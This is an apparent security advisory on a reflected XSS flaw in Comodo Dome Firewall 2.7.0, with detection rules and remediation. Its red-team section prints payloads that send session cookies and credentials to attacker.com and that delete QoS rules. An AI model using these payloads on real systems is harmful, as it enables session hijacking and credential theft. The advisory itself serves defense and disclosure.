CVE-2019-25417

Executive Summary

CVE-2019-25417 is a reflected cross-site scripting (XSS) vulnerability in Comodo Dome Firewall version 2.7.0. The flaw exists in the QoS rules management endpoint, where the protocol parameter is not properly sanitized. An attacker can craft a POST request containing malicious JavaScript in the protocol parameter. When an authenticated administrator views the crafted request (e.g., via a phishing link or a malicious page), the script executes in the context of the administrator's browser session. This can lead to session hijacking, credential theft, or further compromise of the firewall management interface. The vulnerability has a CVSS score of 6.1 (Medium) due to the requirement for user interaction and the limited impact on confidentiality and integrity. No official patch has been released by Comodo.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
• User Interaction: Required (UI:R) – The victim must click a malicious link or visit a crafted page.
• Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: None (A:N) – No impact on availability.

Threat Level: Medium. The vulnerability requires user interaction but can lead to significant compromise of the firewall management interface.

Deep Dive & Mechanics

The vulnerability resides in the QoS (Quality of Service) rules management endpoint of Comodo Dome Firewall 2.7.0. The endpoint accepts POST requests to create or modify QoS rules. One of the parameters, protocol, is used to specify the network protocol (e.g., TCP, UDP). The application reflects the value of this parameter in the response without proper sanitization or encoding.

An attacker can craft a POST request with a malicious JavaScript payload in the protocol parameter. For example:

protocol=<script>alert('XSS')</script>

When an administrator accesses the QoS rules management page (e.g., via a crafted link or a malicious page that submits the form), the browser renders the injected script. This allows the attacker to execute arbitrary JavaScript in the context of the administrator's session.

The attack flow:

1. Attacker identifies a Comodo Dome Firewall 2.7.0 instance.
2. Attacker crafts a malicious URL or a page that sends a POST request to the QoS endpoint with a JavaScript payload.
3. Attacker lures an authenticated administrator to click the link or visit the page.
4. The administrator's browser executes the malicious script.
5. The script can steal session cookies, perform actions on behalf of the administrator, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Comodo Dome Firewall 2.7.0): The application directly reflects the protocol parameter without sanitization.

// Vulnerable PHP code (conceptual)
$protocol = $_POST['protocol'];
echo "<input type='text' name='protocol' value='$protocol'>";

Patched Code (Hypothetical): The patched version would sanitize or encode the input before reflection.

// Patched PHP code (conceptual)
$protocol = htmlspecialchars($_POST['protocol'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='protocol' value='$protocol'>";

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a Comodo Dome Firewall 2.7.0 instance.
• An authenticated administrator session (or ability to lure an admin).

Exploit Steps:

1. Craft a malicious POST request to the QoS endpoint:

   POST /qos/rules HTTP/1.1
   Host: target-firewall
   Content-Type: application/x-www-form-urlencoded
   Cookie: session=admin_session_cookie
   
   protocol=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>&action=add
   

2. Encode the payload in a URL to trick the administrator:

   http://target-firewall/qos/rules?protocol=%3Cscript%3Efetch(%27http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie)%3C%2Fscript%3E&action=add
   

3. Send the link to the administrator via email or social engineering.
4. When the admin clicks the link, the script executes and sends the session cookie to the attacker's server.

Alternative Payloads:

• Steal credentials: <script>document.location='http://attacker.com/steal?user='+document.forms[0].username.value+'&pass='+document.forms[0].password.value</script>
• Perform admin actions: <script>fetch('/qos/rules', {method:'POST', body:'action=delete&rule_id=1'})</script>

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to /qos/rules with suspicious protocol parameters containing <script> tags or JavaScript event handlers.
• Look for anomalous outbound connections from the firewall management interface to unknown IPs.
• Use web application firewall (WAF) rules to block XSS payloads.

Defense:

• Apply input validation and output encoding for all user-supplied parameters.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use HTTP-only cookies to prevent JavaScript access to session cookies.
• Educate administrators about phishing attacks and the risks of clicking untrusted links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /qos/rules with protocol parameter containing <script> tags.
  • Outbound connections from the firewall management interface to suspicious IPs (e.g., attacker-controlled servers).
• File IOCs:
  • Log entries showing XSS payloads in the protocol parameter.
• Behavioral IOCs:
  • Unauthorized changes to QoS rules.
  • Unexpected admin session activity.

Detection Engineering

YARA Rule

rule CVE_2019_25417_XSS_Comodo_Dome_Firewall {
    meta:
        description = "Detects XSS payloads targeting CVE-2019-25417 in Comodo Dome Firewall"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25417"
    strings:
        $xss1 = /protocol=<script>/ nocase
        $xss2 = /protocol=.*<script>/ nocase
        $xss3 = /protocol=.*on\w+=/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2019-25417 XSS in Comodo Dome Firewall
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts against Comodo Dome Firewall 2.7.0
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/qos/rules*'
        cs-uri-query|contains: 'protocol='
        cs-uri-query|contains|all:
            - '<script'
            - '>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in testing environments
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2019-25417 XSS in Comodo Dome Firewall"; flow:to_server,established; content:"POST"; http_method; content:"/qos/rules"; http_uri; content:"protocol="; http_client_body; pcre:"/protocol=<script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the firewall management interface from untrusted networks (e.g., place it behind a VPN or restrict access to trusted IPs).
2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in the protocol parameter.
3. Educate administrators about the risks of clicking untrusted links and the importance of verifying URLs.

Long-Term Fix:

• Since no official patch is available, consider upgrading to a newer version of Comodo Dome Firewall if available, or migrate to an alternative firewall solution.
• Apply input validation and output encoding manually if source code access is available.
• Monitor vendor advisories for any future patches.

Workaround:

• Disable the QoS rules management endpoint if not needed, or restrict access to it via firewall rules.

Valters IT